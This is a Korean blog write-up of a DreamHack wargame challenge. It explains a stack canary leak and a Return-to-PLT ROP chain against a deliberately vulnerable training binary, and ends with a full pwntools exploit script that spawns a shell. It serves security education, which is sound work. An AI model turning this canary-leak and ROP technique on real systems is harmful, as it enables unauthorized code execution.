1. 문제
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
신경 쓸만한 코드는 64비트, Partial RELRO 라는것, 카나리와 NX 가 존재하며 PIE 가 없다는것!!!
2. 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
위 코드를 보면 0x30 사이즈를 갖는 buf 배열을 가지고 있는데, 이는 카나리 값을 읽을 때 활용할 수 있을 것 같다.
system("echo 'system@plt");
가 있어 system()함수가 PLT가 추가될 것이다.
PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다.
따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.
ASLR이 걸려있어도 PIE가 적용되지 않있다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. 이 공격 기법을 Return To PLT라고 부른다.
이번에는 PLT를 이용하여 NX를 우회하도록 해보자.
ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 다음 코드를 작성하면 PLT에 system 함수를 추가할 수 있다.
3. 해결
disasseamble main을 하여 분석해 보았다.
위 사진을 보면 read가 실행될 때인데 <+204> 를 보면 buf는 rbp-0x40 에 있다는 것을 알 수 있다.
위 사진은 카나리 검증하는 부분이다. 보면 카나리는 rbp-0x8에 존재하는 것을 알 수 있다.
따라서 buf와 카나리의 거리는 0x38 만큼인 것을 알 수 있다.
따라서 buf에 0x39만큼 값을 넣어주면 카나리를 알 수 있다.
다음으로는 return gadget을 이용해야한다,
return gadget은 ret으로 끝나는 어셈블리 코드 조각을 의미한다.
전에는 buf에 셸코드를 넣어 리턴주소를 buf 주소로 변경해주거나 get_shell() 함수를 이용했는데,
이번에는 rdi에 "/bin/sh/"을 넣어주고 system 함수를 호출 해줘야한다.
return address만 덮어씌워서 해결될 문제가 아닐 때에 return gadget이다.
0x400853 : pop rdi ; ret
system("/bin/sh")을 호출하면 셸을 획득할 수 있으므로 우리가 해야할 것은 “/bin/sh”의 주소를 구해서 그 주소를 rdi에 넣어주고 system() 함수를 호출해주면 된다.
위에 있는 return gadget을 자세히 살펴보면 pop rdi를 해주고 그 다음에 ret을 해주고 있다.
즉, return address를 0x400853으로 변경해주고 그 다음 값으로 “/bin/sh” 문자열의 주소를 넣어주고 system() 함수의 plt 주소를 넣어주면 된다.
buf
canary
sfp
return address (0x400853) //리턴가젯 주소
”/bin/sh” // 인자
system@plt //함수
위와같이 구성하면 system("/bin/sh")를 호출할 수 있다.
주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다.
이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면Segmentation Fault를 발생 시킨다.
완성된 코드는 아래와같다.
#!/usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games','10201')
e = ELF("./rtl")
def log(name, addr): return success(": ".join([name, hex(addr)]))
canary_payload = b'A'*0x39
p.sendafter("Buf: ", canary_payload)
p.recvuntil(canary_payload)
canary = p.recvn(7)
canary = u64(b'\x00' + canary)
log("Canary", canary)
no_op = 0x400285
return_gadget = 0x400853 #pop rdi의 주소
binsh = 0x400874 #/bin/sh 의 주소
systemplt = 0x4005d0 #system() 함수의 plt table안 주소
log("no_op gadget", no_op)
log("pop rdi; ret", return_gadget)
log("\"/bin/sh\"", binsh)
log("ststem plt address", systemplt)
payload = b'A'*0x38 # dummy values to reach canary address
payload += p64(canary) # canary value
payload += b'B'*0x8 # dummy value for sfp
payload += p64(no_op) # a gadget has no meaning
payload += p64(return_gadget) # pop rdi; ret address
payload += p64(binsh) # "/bin/sh" address
payload += p64(systemplt) # system@plt address
p.sendafter("Buf: ", payload)
p.interactive()
'보안 > 시스템 해킹' 카테고리의 다른 글
[ 시스템 해킹 ] Background : PIE (0) | 2022.08.04 |
---|---|
[ 시스템 해킹 ] Background : RELRO (0) | 2022.08.04 |
[ 시스템 해킹 ] DreamHack WarGame : ssp_001 (0) | 2022.07.27 |
[ 시스템 해킹 ] Exploit Tech: Shellcode ( execve ) (0) | 2022.07.20 |
[ 시스템 해킹 ] Exploit Tech: Shellcode ( orw ) (0) | 2022.07.20 |